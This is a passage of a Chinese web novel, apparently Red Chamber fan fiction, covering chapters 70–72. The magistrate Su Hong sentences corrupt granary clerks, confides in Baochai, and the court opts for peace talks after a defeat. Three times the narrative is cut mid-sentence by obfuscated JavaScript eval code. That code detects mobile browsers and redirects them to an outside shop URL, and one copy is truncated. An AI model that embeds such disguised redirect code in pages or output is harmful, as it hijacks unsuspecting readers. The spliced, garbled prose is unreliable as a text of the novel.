宋云此人，许是被打压久了，想法太多太杂，便显得好谋无断。旁人稍一说些什么，他便听之任之。只要给别人留了空隙，很容易便能说动宋云。 他与路兼微不常相处，对他的了解不如宋云。但也知道，常年在地方上打转的地方官，收受贿赂、请托说情都是常态，都已经成了风气。谁若不这样做，反而显得十分奇怪。 苏珑笑道：“我寻常在户房那边盯着，倒是不与这州丞和主簿打交道。说到底，东西都已经寻回来了，此事便可大可小，端看你如何处置。只是若要网开一面，也不能顺了此二人之意，以免他们误以为你会事事顺着他们。” 苏鸿一边点头，一边叫风信请他们进来。宋云收了路兼微的银子，又听路兼微暗示说已经打通了苏鸿这边的关节，便大着胆子一同过来，预备敲敲边鼓。 路兼微此时退无可退，知州和州丞都知道他跟此事有牵连，不主动承认只会更惨。因而趁夜将先前几人送给他的东西都裹着带到苏鸿跟前，又额外封了五百两纹银。 苏鸿倒也没说什么，叫他把东西放下便让他离开。他听这话，便知道此事有八分准了。为了保险，他才去拜访宋云，指望他替自己说些好话，好歹别实打实认了这几人盗取官库的罪过。 不然他们活不成，自己也没本事在知州眼皮子底下让他们彻底闭嘴，早晚会把自己扯进来。也可惜自己在平安州任职的时间太短，不然断不至于如此为难。 苏鸿见他们两个面色变幻不定，举杯饮茶后才淡淡指向一旁，说道：“先坐吧，用不着多礼。” 二人唯唯坐了，路兼微有些按捺不住，方说道：“大人，昨日的事，下官以为应是几人管理仓库不利，才不慎将物品遗失。如今他们也都认错，补齐遗失物，也是不幸中的万幸。” 苏鸿不动声色，垂头刮了刮茶沫子，半晌才说道：“那依你之见，该如何罚才使得？” 宋云抬头看了苏鸿一眼，直觉他不会按着他们说的去做。这位苏知州在京中有背景，说话做事虽说和气，但极有主见。便是薛太太娘家没落，曾经也是皇商出身，说没有藏宝藏银，谁信呢？定是看不上路兼微那三瓜俩枣。 他也是派了太太去接近薛太太，才打探了些详细信息。想靠拢苏知州，寻常用银钱收买的法子怕是不顶用。 路兼微满心以为是自己封的五百两让苏鸿称心如意，连忙笑道：“虽说没有大碍，但他们出了这样的纰漏，不如打他们十板子、撵出去便是。小惩大诫，也叫后来人不敢再犯。” 苏鸿定定看了眼路兼微，正要说什么时忽然有人来报，周典史求见。路兼微见苏鸿并未直接回答，反而要周典史先回话，心中不由一惊，意识到事情不会像他预想的那样顺利。 他昨晚已经去警告过那几人，不许把他牵扯进去。他们答应后，又提出愿意献上家财，求他将他们全须全尾保出去。路兼微没能忍住诱惑，毕竟他出了五百两贿赂知州已经是大手笔，如今正是缺钱的时候。 他背后升起冷汗，战战兢兢看周典史将提审后他们的口供递给苏鸿。苏鸿微微挑眉，接过这几页薄薄的口供，一边漫不经心看着，一边问道：“他们说的，跟昨天查出来的能对上吗？” 周阳犹豫一瞬，当着宋云和路兼微的面，只说道：“下官只知他们说出来的全在这里，究竟有无遗漏、是否需要再审，还需大人做主。” 他现今是典史，主管三班衙役，路兼微的动向自然瞒不过他，更别提他也收到了路兼微的心意。只是他知道，他的直属上级是知州，衙门的主官也是知州，他若想做得长久，也唯有向知州投诚。 话虽如此，州丞和主簿也不能得罪。 苏鸿便道：“人证物证口供俱在，依本官看，不必再审。去请王乡绅前来，今日巳时初，全衙门上下于二堂听审候判。” 路兼微正想说什么，却被宋云一把拉住。待他们单独下去更衣时，宋云才蹙眉说道：“路主簿不必再说。若大人打定主意照实上报，不至于让衙门上下都去听审。只是死罪可免，活罪难逃，他们胆大包天，吃些苦头也是应当的。” 路兼微知道官大一级压死人的道理，只是都收了银子，若不办结此案，难免显得没了面子。宋云看在路兼微给自己送的百两雪花银的份上，还是好心提点道：“咱们的面子才值几个钱，事事听你的，知州的位置是谁坐？” 要他说，偷盗官库后没被送上断头台就偷着乐吧。也沾光现下平安州还算太平，要是像南海那边起了战事，这几个人定被知州祭旗泄愤。 苏鸿早已打定主意，换了官府便闭目养神。待到巳时，便有人来请苏鸿升堂。苏鸿整整衣冠，大步至堂上坐定，当即便是呼啦啦一群人见礼。苏鸿面不改色，叫起之后便命提人犯上堂。 这一行六人，虽说只在大牢里待了一晚，又有昔日同僚的情分，但看着还是憔悴不已。发髻散乱，面容脏污，衣物也满是褶皱。他们不敢喊冤，哪怕有功名在身也不敢梗着脖子喊什么见官不 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路兼微已经猜到苏鸿不会按着他的想法做事，根本不敢向下看，正襟危坐看向苏鸿。他们见路兼微不敢看自己，心中愈发绝望，生怕当真被交到知府手上。 他们自家人知自家事，除了贿赂上司的，只在家中藏了一些，根本没敢拿到外头。可一旦落到知府手里，不被再刮一层皮绝不算完，还不知有多少亏空会被算到他们头上。 苏鸿待众人看清后，他道：“官库之物，因尔等不善管理流落在外，以致衙门损失惨重。你们几人认是不认？” 众人连声认罪，请求苏鸿开恩。粮库大使本在求情，见周围胥吏和衙役都面露惧色，忽然明白苏鸿之意。他痛苦流涕，膝行上前说道：“小人死罪！昏聩无能，生不良之意，以至于酿成大祸。小人自发现之日，夜不能寐，家小不敢高声言语。若再来一次，断不敢再为此事。还请大人开恩！” 说着便是一番沉痛剖白，将自己的痛苦及悔恨说得一清二楚，令人闻之伤心。旁人也意识到什么，连忙学着粮库大使上前剖白。一时整个二堂哭声一片，一众胥吏及衙役更是心惊。 他们也同样有此经历。谁也不是天生便会收受贿赂、吃拿卡要。第一次做这些，谁都有心虚、迷茫、胆战心惊的时候，也会想过事发该怎么办。只是时间久了，上至太爷下至门房、长随都是这样，他们也麻木了。 以往虽有被查办的人，但少有这样点到他们心里的。 苏鸿有些诧异，仔细听了片刻，也不由沉默起来。半晌后，他看向周阳，周阳连忙喊道：“公堂重地，不得喧哗！” 待他们稍稍平静，苏鸿才说道：“虽说遗失物品，但好在都已经找回，并未造成更大损失。你们几人，死罪可免，活罪难逃。身负功名、领着衙门禄米，却昏聩无能。” 说着便发下令签，面色平静说道：“着，杖打三十大板，逐出官府、永不录用。身负功名者，革除功名，三代内不得科举。” 70.战事 堂上众人闻言，一片哗然声。堂下跪着的六人，更是如丧考妣，失声痛哭。他们虽说只有个童生、秀才的功名，但当下十人中只有五人识字，识字的五人中又只有两个能当上童生。而十个童生里，又仅能出一两个秀才。 他们能读书认字，除却家中富贵者，多是举全家之力供养。如今虽说跟着自己享了两年福，却又被自己连累至一无所有。最重要的是，他们被逐出衙门，前半生的脸面全被自己毁了。三代以内又不得科举，再无所谓前途可言。 他们哀哀哭泣，却被一众衙役毫不留情打翻在地，拖到外头便是一顿棍棒。 路兼微深吸一口气，耳边回响着苏鸿的那句“革除功名，三代内不得科举”。诚然，连知府都无权直接剥夺功名、也无法限制其三代内不得科举，需要层层报至省提学官。 然而现实中，士人想要赴考皆需县令盖印发文。知州手握官印，他不松口，谁也救不了他们这几人。何况剥夺功名、限制科举极为特殊，知州如此要求，提学官不会自认比当地父母官更了解实情，多半会依从。 学子苦求功名，大多是为追逐名利、地位，入朝为官，光宗耀祖。即便是他们久在官场，听到谁被剥夺功名，仍然心中胆寒。没了功名的官，什么也不是，以后也不会有再爬起来的机会。 他不禁打了个寒颤，虽然一直都知道苏鸿出身翰林院，但第一次有了实感。 苏鸿面不改色起身，俯视着阶下众人，淡淡道：“庸者下、能者上，不得贪污、收受贿赂。若被本官查实，一并从重惩处。这些寻回来的东西即刻登记入库，不得遗漏。” 一众胥吏及衙役们连忙应是，苏鸿才甩袖离开。待到内室，他仍能隐约听到二堂前皮肉被杖打绽开的撕裂声，微微攥紧手指。苏鸿见风信欲言又止，示意他暂且出去，不必进来。 忽然，外面传来一阵窸窣声，便有人推开了房门。 苏鸿蹙眉看向门外，正要斥责时，却见是带着帷帽的宝钗前来。他心中一惊，连忙起身相迎，不期然明白了什么。宝钗先一步上前笑道：“别忙。我听说了前头的事，觉得怪怕的，才贸然到这里来。” 她一边说着，一边逶迤至苏鸿身旁，双手扶住与他一并坐下。“吱呀”一声，莺儿等人悄无声息将房门关上，退了出去。宝钗方将帷帽摘下，随手搁在桌旁，目光柔柔看向苏鸿。 苏鸿心里清楚，宝钗哪里会怕，不过是怕他第一次用刑于心不忍、心中难过罢了。他知道瞒不过宝钗，沉吟许久才长叹一声，倾身抱住宝钗，低声道：“什么都瞒不过你。” 坐在堂上居高临下俯视，他忽然便明白为何如此多的人都汲汲于功名利禄。令签掷下，轻飘飘的竹签背后却承载着一人乃至其全家老小的命运。有一瞬间，他心中竟闪过一丝惧意，刹那间又被茫然吞噬。 宝钗天性中带着超乎寻常的冷静，更是因苏鸿对她毫不遮掩，能轻而易举看出他生性的仁爱。因其仁爱，他能果断下令严惩违法乱纪之人，也会在亲眼见到他们的下场后觉得心中难过。 并非是心软，而是未能挽救其误入歧途的遗憾与可惜。 她任由苏鸿抱着，轻轻拍着他的后背。她许久才缓缓说道：“安和，他们自食恶果，究竟也没什么可惜的。平安州上下，不知多少贤才德行出众，愿意为民造福。若贪酷昏庸之官吏居于此地，他们又如何出头？” “何况……世间俗人熙熙攘攘为利益奔走往来，本非你我所能左右。若你为这个烦心，日后只怕还烦心不过来呢。还不快收拾心情，网罗几个贤臣能吏，也好让平安州名副其实。” 苏鸿被宝钗所言触动，不由叹道：“知我者，宝卿也。宝卿不妨再猜，我此刻心里还想着什么事？” 宝钗并未犹豫，镇定自若道：“南安王。” 一来，身为朝廷官员，当然会关心国家兴亡，关注战事。二来，一旦战事失利，周边的小国眼见朝廷失势，定会再起纷争。天下大乱时，不免要考虑是否有能力接收流民、如何预防随之而来的疫病等事。 苏鸿素来是个走一步看十步的性子。他急着铲除平安州周边的强盗，未尝没有这方面的顾虑。宝钗说完便静静看向苏鸿，不由猜测他是否会对自己说实话。 苏鸿并不知宝钗会猜到他的心事，他甚至从未对她说起过此时。毕竟战事失利的猜测有些可怕，他并不想将这种情绪带给宝钗。此时听宝钗将自己看得这样透，苏鸿不由笑起来，颇觉畅快的同时，也更加感慨宝钗的敏锐。 他想了片刻，便说道：“我也说不好，只是觉得情况不妙。好在眼下已经有了银子，等过一个月天气稍暖和些，务必先将强盗处置了。我倒是还有一些存粮和药材，虽说不多，支撑城里过个三五日还是不愁的。” 宝钗亦笑道：“既如此，我就着手开办产业。截路的强盗没了，平安州大道好歹是个宽敞、四通八达的大道，想必会人流如织。咱们全副身家可都系在你身上，要是掉链子，咱们只能喝西北风了。” 苏鸿玩笑道：“看来我要夙夜不怠，才不辜负宝卿的信任。” 说话间，陆生因有事要来回话，却见书房前立着位俏生生的姑娘逗鸟雀，似是听见动静看了他一眼。他连忙站住，背过身要离开此地，却见风信急匆匆过来，看见他在此处便是一惊，往里头看了一眼，说道：“太太来寻老爷说话，陆师爷稍后再来回话。” 陆生笑着应下，想起那姑娘的具体样貌虽看不清，但梳着未婚女子的发髻，衣饰淡雅，不由心中一动。他低声问道：“听说老爷上任携了家眷一并过来，想来便是太太了？先前还有人打探，说府上有位歌姬色艺双绝……” 虽说试探，也是实情。他当上了知州的师爷后，便不断有拉拢、试探他的人，想借他的口讨好知州的大有人在。只是他自己都并未成婚，当个穷秀才，如今好容易钻营了一回，自是不肯轻易为旁人牵线搭桥。 同为师爷，他自知不能跟知州的族人相比，便更要珍惜羽毛。 风信瞥了陆生一眼，随手接过他递来的银子，冷笑道：“劝陆师爷别做多余的事，老爷不会喜欢的。没看太太随意便进了老爷的书房，换成谁家会这样亲近信任。” 陆生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16563979|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言，想到那姑娘衣饰不俗，周身气质又温柔俏丽，身份定不一般。既然夫妻二人关系如此好，想必不是知州的通房侍妾，应是太太跟前并未婚配的丫头。 听说太太是皇商小姐出身，家中既富且贵。便是如今不必从前，没落许多，她身边的陪嫁丫头的品行、见识不知高出寻常女子多少。太太得知州信重，自己正愁无法更进一步，可见是天赐良机。 一则自己想往上走，少不了要紧紧抓住这棵大树。便是得罪了旁人，他也能当着七品官、兼着六品的虚衔，可见本事不俗。二则，人都说宁娶大家婢不娶小户女，他的出身一般，正缺位品行好、有见识的太太。 陆生便有意无意打探两句，风信听出他话里话外的意思，想到太太正为莺儿的婚事发愁，便也透了口风。陆生没想到真有这样凑巧的事，大喜过望，打定主意要促成此事。 此时，宝钗见苏鸿心情好转，又选好了预备买下的房屋、铺子，方款款离去。陆生打量着守门的小厮都撤去，才请门房通传一声。他也知苏鸿不是个爱听场面话的，便当面陈情，求苏鸿撮合。 苏鸿没想到陆生会有此想法，但想他虽好钻营，但尚算有底线、样貌周正，也算是良配，便说要与夫人及莺儿父母商议。陆生心知此事十拿九稳，才心满意足离去。 待苏鸿将此事告知宝钗及赵妈妈后，赵妈妈没想到他们夫妻俩竟想得如此周到，见女儿心里愿意，便一口应承下来。她原想着莺儿随宝钗陪嫁至苏家，怕是要给姑爷做妾室、通房，早就歇了给女儿寻门好亲事的心了。 这陆生虽说家境一般，但他人年轻，身上又有秀才功名，如今在苏鸿手下做事，料想也不敢苛待莺儿。便是日后苏鸿要调任，有了这门亲事，多半也是要将陆生带在身边，母女也不至于分离。 何况她们母女俩身在奴籍，便是看着她们再光鲜，终究都是低人一等。 因几方有意，婚事很快便被敲定下来。有了这层关系，苏鸿待陆生更见亲近信任，陆生投桃报李，凡事皆尽心尽力。 而衙门上下，亦因苏鸿严惩贪吏的行为不敢放肆。偶有想试探着躲懒、贪污的胥吏，陆生转瞬便寻来替代的人选，让众人不敢仗着法不责众无事生非。正哀叹时，苏鸿却又下令上涨俸银。一来二去，他们也习惯了苏鸿的做事风格，配合起来颇有默契。 平安州平稳运行的同时，京中气氛却带着诡异的宁静。 自开国以来，本朝战事可谓无往不利，蛮夷俯首称臣，四海咸宁。只是如今区区一弹丸小国生乱，南安王竟无计可施，频频催促朝廷发兵拨粮救援。而史侯与卫将军领兵去救，却不见捷报回传。 京中上至天子、下至黎民，早没了前几月对朝廷凯旋的深信不疑，人心惶惶，忧愁起朝廷吃了败仗该如何是好。今上心情不好，在朝堂上亦是频繁发作，发落了不少官员，一时人人自危。 贾家因家道中落，早就想着返回金陵老家修生养息。此时见京中局势越发诡异，贾政本就不长于为官之道，如今被免职回家，一应故交亲友也极少有能帮衬的，便越发生出归乡之意。 71.议和 京城势力洗牌太快，贾家也再无其他倚仗，如今回乡是最好的选择。贾政早在见到贾雨村官复原职时，便知道定是贾雨村在其中掺了一脚，却也无可奈何。 一时比不得一时，贾家也不再是国公府了。他们早在遭难时就将家中大部分下人、世仆遣散，如今每个主子身边跟着一位下人，人口并不算多，倒也便宜。 现今，贾家只剩大房的邢夫人、贾琮、贾琏的二房尤二姐及巧姐儿四人。邢夫人虽不愿离京，然而她素日待迎春不管不问，如今迎春虽做着官太太，性子又懦，未必肯为她与纪花明开口。 转而想到贾赦与贾琏虽被流放，膝下好歹还有个半大的贾琮，这才是自己终身的依靠，便也打定主意随二房南下。王夫人对此不置可否，总归都是一家子妯娌，便是曾经磨牙拌嘴，到了这步田地也不宜计较。 让王夫人最为挂心的，一则是宝玉的学业，二则是宝玉的婚事。只是家中虽遭逢大难，宝玉却还是一副长不大的模样。黛玉对宝玉又过于包容，竟也由着他的性子。 但贾政因名利之心大灰，又经此大起大落，也不欲再鞭策宝玉上进，只好随他的意愿，却对贾兰及贾琮越发看重。王夫人看在眼里，心中虽急，却深知宝玉不是听妻妾劝导之人，也唯有暗自垂泪。 恰逢薛太太前来与王夫人告别，王夫人对着亲妹妹，不由哭诉心事。薛太太闻言，便劝道：“宝玉这孩子难得机灵孝顺，能宽宽你的心，又身体康健。咱们为人父母的，不就是求孩子能长久在膝下孝顺……” 说到此处，薛太太自觉失言，连忙找补道：“你瞧鸿哥儿和花明，都是有出息的好孩子，眼下却都不能在父母跟前侍奉。咱们这样的人家，便是家里不如以往，老家也还有一二田庄、产业，总能吃穿不愁，就比旁人强上许多了。” 王夫人心知薛太太是宽慰，眼含水光哀叹一声。她膝下二子一女，如今也唯有宝玉，叫她严管也不是，放纵也不是。但世道险恶，他文不成武不就，林丫头又是久病服药，他们夫妻二人一旦离去，也不知宝玉未来该如何。 她半晌才收了眼泪，说道：“我们要带着老太太的灵柩归乡，老爷已经寻了镖师随行，又有王家结伴，想来是安全的。只是你我姐妹，好容易暮年相见，才聚了几年便又要分开。不知道你我还能再见几次。” 姐妹二人想到此处，更是依依不舍。半晌，薛太太方笑道：“瞧你说的，等我年纪再大些，仍是要回金陵的。只是你们一家子回去后，凤姐到底是被大房那边休了，姐夫可有说什么没有？” 王夫人叹道：“两个哥哥都没了，咱们娘家无人，自然不能让凤丫头回去。她又是巧姐儿的生母，不好叫她们母女分离。何况咱们这样的人家，虽说没落，也没有让家里姑娘改嫁的道理。” 虽说凤丫头还年轻，守着太过可惜，但谁不是这样一辈子熬出来的。眼下这般情况，她也说不好凤丫头究竟该不该改嫁。说句难听话，天下的男人大多一个模子里刻出来的，都比不得在家做姑娘自在。但若不嫁人，又没有自己的丈夫、孩子，孤零零一个人也太过可怜了。 薛太太便不曾说什么，她私心里倒是觉得，凤丫头不改嫁也不是坏事。若再摊上贾琏那么个人，不干不净的，凤丫头这条命还不知能否保住。 她们说了许久，眼见到了启程的时辰，薛太太才上了车，远远瞧着贾家和王家的车轿往码头那边去。她心中难过，等姐姐和娘家人一走，京中亲友也只剩苏母和封娘子。宝钗那边又并无音信，不知他们小夫妻现下如何了。 薛太太闷闷不乐归家，早已等候多时的薛蟠见她回来，连忙迎上来道：“妈，妹妹来信了！” 薛太太闻言忙道：“快拆开念给我听，你妹妹和鸿哥儿一去几月，总算有了音信。也不知他们路上是怎么过去的。” 薛蟠这才将信封拆开，正要念时薛太太便一把夺过，一目十行看了起来。宝钗的信并不算太长，只是捡了些路途中的趣事、以及在平安州安顿下来的情况写了进去。 薛太太看毕，才递给薛蟠道：“你妹妹惯是报喜不报忧。长途跋涉，连着赶了大半月的路，岂是好玩的。偏她说得轻巧，不愿让我担心。那平安州又是穷乡僻壤，也不知你妹妹适应不适应。” 未曾得到女儿来信时，她忧心女儿的安危。如今看了信，也只是让她知道女儿平安无事，却不免忧心起她是否习惯平安州的气候，是不是能吃得好穿得好。 薛蟠先前走商时险些折在平安州，最是知道那地方的状况，却也不敢说实话。他见薛太太这般，便劝道：“妈这样想，反倒辜负了妹妹的心意。凭那什么平安州再穷，妹夫都是父母官，哪里就苛待到妹妹身上了。” 这话逗笑了薛太太，她想了想也觉有道理。他们离家三月有余，这会儿来信，许是平安州已经安稳下来。虽说只是个小知州，但苏鸿在当地也是说一不二的人物，倒也差不到哪里。 与此同时，一人二马自城外疾驰而来，一路扬起飞尘。周边的百姓躲之不及，为了避让连连后退，连街边的摊子都顾不得了。待飞马离去后，散落了一地的货物，却无人在意。 众百姓近日本就因战事不利心惊胆战，如今见飞马入城，哪里还不知道是八百里加急。心知是战事的消息，他们也无心抱怨，七嘴八舌议论起战况，猜测是胜是败。 战报八百里加急送至御案，今上及群臣所担忧之事竟成了现实。战报上书，南安王率军突袭敌军大败，史侯及卫老将军受伤，卫若兰、冯紫英等先锋官重伤，士兵伤亡过五万。 今上怒不可遏，他万万没想到自己勒紧裤腰带供给粮饷，又调派大军援助，最终竟是如此结果。但眼下不是发泄的时候，继续战亦或议和，总归要有个说法。他急召重臣议事，心急的同时难免心生耻辱。 定鼎不过百年，论理正是兵强马壮之时。原以为四海咸宁，他能养尊处优、安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580323|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 享太平，可谁知朝廷就会吃了败仗。而打败他们的，甚至不是那些久为祸患的敌国，反而是区区弹丸之地上苟延残喘的小国。 今上恼羞成怒时，不免想到：开国时的四王八公尽为举世皆知的名将，下面的史、冯、卫等也都出了难得的大将，堪可称为武功盖世。只是不过几代，这些武将出身的家族竟忘了本行，一个个骄奢淫逸，不修武功，才酿成今日大败。 而忠顺王等，又因素与今上亲近，隐约察觉出其迁怒之意。为避免惹火烧身，便也都一个劲儿参奏武将无能，似乎集体遗忘其他原因。贾雨村更因其曾与贾家亲近，借势入了忠顺王门下，如今正是避嫌之时，恨不能将此次出征的诸将踩在脚下骂。 群情激愤时，诸内阁大臣见众人弹劾将帅，也都沉吟不语。眼见他们吵嚷得没有边界，才有学士说道：“陛下，将帅无能以至兵败，是该严惩。只是眼下木已成舟，当务之急是请陛下及诸公裁决是战是和。” 众人闻言，殿内忽而安静下来，竟不闻一丝声响。他们何尝不知道这个道理，但君心未明，他们也不敢轻易说话。若不小心与今上意见相左，以今上的刻薄，乌纱帽也别想戴安稳。 忠顺王自持与今上亲厚，便上前奉承道：“王学士说得是。此番兵败，必定是将帅大意。我泱泱大国，自不会怕他区区弹丸小国，正该出兵讨伐，以立国威。只是……只是战事频繁，百姓疲惫，也不可不虑。” 是战是和对他而言倒没什么，便是征召壮丁服役，也轮不到他堂堂亲王。只是他心里也有些惴惴不安，担忧若是主战，战事不利时难免要被追究。若是主和，无非国库多出些银钱、再选个宗室女和亲罢了，对他更为有利。 只是以他对今上的了解，其好大喜功的性情，恐怕不会容忍兵败的污点，定要想方设法找回面子。 众臣听忠顺王这番模棱两可的话，便也心中冷笑。谁不知道他说得这些道理，主和、主战自然各有优势，才让他们不知该如何选择。今上见群臣支支吾吾，心中也没了主意。 若说议和，他心有不甘。可若主战，他也担忧武将青黄不接。周边敌国本就心存不甘，若此战再拜，定会生出更多事端。他心烦意乱，便又命人将五品以上京官召入殿上，再次问策。 重臣自持身份，不敢贸然开口，见手下人都到了此地，间或使眼色、递消息，指使手下人替自己开口说话。武官自然主战，希冀借此建功立业。但因在场众人大多为文臣出身，若主战不免主张武将气焰，便也都有意无意劝今上议和。 党派、文武之争素来如此，一旦斗起来便将家国、百姓统统抛于脑后。两派各执一词，今上虽有心点将出征，却也不免被文臣说服，犹豫起来。朝堂吵吵嚷嚷三日之久，今上才彻底下定决心，决定议和。 消息一出，文臣们称心如意，自是各个欢喜。都城百姓素日骄傲，听到天子竟下令议和，派遣忠顺王南下，都如晴天霹雳一般。 72.前兆 世人都说国家兴亡匹夫有责，更遑论都城百姓自忖生于天子脚下，每常骄傲于此。如今朝廷要议和，他们一时接受不了，群情激愤，街头巷尾都在议论此事。 今上居于深宫，自然不知民间如何议论。而知晓此事的权贵，也都浑不在意。他们自觉只是不想劳民伤财，又不是朝廷真的不如那小国。何况历朝历代都有议和的事，又不单是本朝才有，这有什么丢人的。 只是消息传到薛家时，薛蟠和薛太太便十分焦躁，不免坐不住。母子二人乘车到苏家去，薛蟠自去寻苏父，薛太太便去寻苏母及封娘子。苏母见她这个节骨眼过来，也猜到什么，忙将薛太太让进来。 她一边朝着书房努嘴儿，一边说道：“听说你姐姐和娘家都回了金陵，本要去寻你说话，谁知道就出了这样没理的事。消息传出来，我们家老爷都快气厥过去了，在书房跟甄大哥嘀嘀咕咕的。” 议和议和，也不知道议哪门子的和。史书上这种事屡见不鲜，最多两年就又要生出是非。士大夫尽皆饱读诗书，难道连这个也不知道？不过是因江山不归他管，又生怕起了战事叫武将得势，方横加阻挠。 书上都是治国安邦忧国忧民，现实里全是狗屁倒灶蝇营狗苟。 薛太太冷笑道：“狗屁的怕劳民伤财，皇宫里扣块儿砖下来都够打一年了，国库哪里是没钱，分明是怕花自己的。不打仗，眼下看着是太平，终究还是要打的。都是些填不饱胃口的狼，闹一闹就有好处，谁会犯傻。” 封娘子笑道：“光天化日之下，这种话可不能直说。丫头婆子们不知轻重，若是不小心说出去，不知有多少人会牵强附会。” 众人一笑，便有婆子笑道：“太太们说笑了，不打仗是好事，就是我这样的妇道人家也晓得是今上的仁心，只是心里难免觉得憋屈，这才抱怨几句。谁不知道这个理儿，还敢乱说话不成？” 苏母便笑着说了几句场面话，说道：“这话有理，咱们的话也当不得真，不过玩笑几句。虽说提起议和叫人憋屈，但多一事不如少一事，咱们也省了心慌意乱的工夫。” 薛太太点头笑道：“这也是正理。说来，宝丫头来信说起他们在平安州的事，想也是已经稳定下来了。谁知道又出了这档子事，还不知道那边怎么样了。” 苏母自然也收到了苏鸿的来信，左不过是一些安慰的话，叫他们夫妻二人不要担忧。但她心中清楚，苏鸿也是个报喜不报忧的性子，哪里会把实话说出来。苏鸿还算好，皮糙肉厚的，就怕宝丫头会水土不服。 她叹道：“孩子们大了，出门在外必然有不顺心的事，你我也都知道。只可惜他们都是懂事的性子，不愿意把那些事说出来叫我们担心。过段时日你到平安州去，我才能放下心。” 这也是早就定下的事，苏母倒不会觉得薛太太不该去投奔苏鸿。她心里明白，薛蟠和薛蝌迟早要学着外出行商，家里只剩薛太太和宝琴，难免觉得孤独。薛太太素日又疼爱宝钗，母女之间的感情不是她和封娘子两个好友的陪伴就能替代的。 薛太太闻言便笑道：“还得几个月呢。蟠儿已经在打点银子、货物，物色镖师了。等天气好些，我们就出发去平安州。他的结拜弟兄手上有功夫，一路陪着我们，我很是放心。” 苏母笑问道：“他娶妻时还是你和蟠儿张罗着，自然对你们也尽心尽力。走之前也告诉我一声，他们的铺子现是我在照管，寻镖师去送还不放心，正巧你们能顺路送过去。攒了几个月，虽说数目不多，也能解他们燃眉之急。到了地方上，用钱的地方多着呢。” 薛太太一点头，悄悄道：“我们这一去，打算先把京城的铺子都租出去，到了平安州再开。有伙计掌柜愿意一起过去的，就带上。要是有家有口，给些遣散银子，好聚好散罢了。这局势不对，只有真金白银才是真的。” 盛世古董、乱世黄金。他们家不比从前，眼下局势又紧张，再守着京中的铺子和田产难免招人眼红。这些都是还她们家老爷在时购置的，地段都是极好的，已经有不少人过来问价了。 眼下还是问价，再过段时日，来个失火也不是不可能。薛家是真没什么钱了，但架不住旁人不信，还是会眼红。 苏母一叹，明白薛太太心中的顾虑，转而说道：“不管如何，你们到了平安州也好。说句难听话，那里偏僻了些，却也没什么盘根错节的豪强乡绅，容易摆布。有鸿儿在，也不怕有谁打你们家的主意。” 薛太太及薛蟠计划何时启程前去平安州时，平安州仍是风平浪静。平安州贫苦，百姓连温饱尚未解决，听说朝廷准备议和均十分欣喜。一旦朝廷打仗，少不了还是他们老百姓受苦服役。 苏鸿得知前线大败便是一惊，摸不准究竟是何原因。论理，朝廷兵强马壮，比起小国来强得不是一点半点。虽说国库缺钱，但户部也没敢克扣粮草，均是足量运过去的。南安王、史侯、卫老将军等又都是经验丰富的老将，怎么想也不至于吃败仗。 至于朝廷要议和，他也并不意外。历朝历代，凡是打天下，都是武将占优，守天下时，又都是文臣占了上风。文臣得到重视和提拔已有几十年，哪里会甘心看到武将一派卷土重来，自是要打压一番。 对此结果，他虽有不满，却也松了口气。他现今管着平安州，若这会儿天下就大乱了，他再如何努力也治理不好。只是不知对方是否同意谈和，更不知会开出什么样的价码。 因着议和的消息传出来，衙门上下浮动的心思也彻底定下。苏鸿便抽空检阅三班衙役，见他们身上多了些结实的肌肉，生得更加壮实，又练得有模有样，不免动了剿匪的心思。 周阳看出他的想法，想到这几月间知州为了剿匪一事，特意叮嘱精进三班衙役的伙食、提高禄银。这些无非是叫他们养好身体，随时准备剿匪。如今兄弟们也有些样子，对付那些吃了上顿没下顿的强盗有八分把握，便主动请命。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590080|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏鸿没想到周阳会主动请缨，不免有些惊讶。他扶起周阳道：“周典史，本官知道你的决心。此事非同小可，还要再议，你先带着衙役们操练，静待时机即可。” 若是蛮攻，虽说结果不变，却会徒增伤亡。他知道这些衙役以往不是什么好人，但也不至于刻意送他们去死。因而便婉拒周阳的请求，打算先摸清那些强盗的路数再说。 本朝盐铁均为朝廷专卖，私人不得贩卖。这些强盗能在山中生活不假，却也需要定期下山采购物资。如果能摸清楚他们是与何人交易、又是在何处交易，想将他们一网打尽并不算难。 只是这些话他并未说出口。强盗的数量不少，有能力买盐且不至于引起怀疑的，非本地的乡绅莫属。强盗再强，若知州铁了心要剿匪，也绝不可能空手而归。这伙儿人能一直盘踞此地，要么是与前任知州勾结，要么，便是与哪些乡绅有联系。 他心里清楚，剿匪是知州的职责，他提出来也无人会奇怪。但若是提出具体可行的方法，难免会走露消息。若是扑了个空也罢，就怕那些强盗敢杀官差。 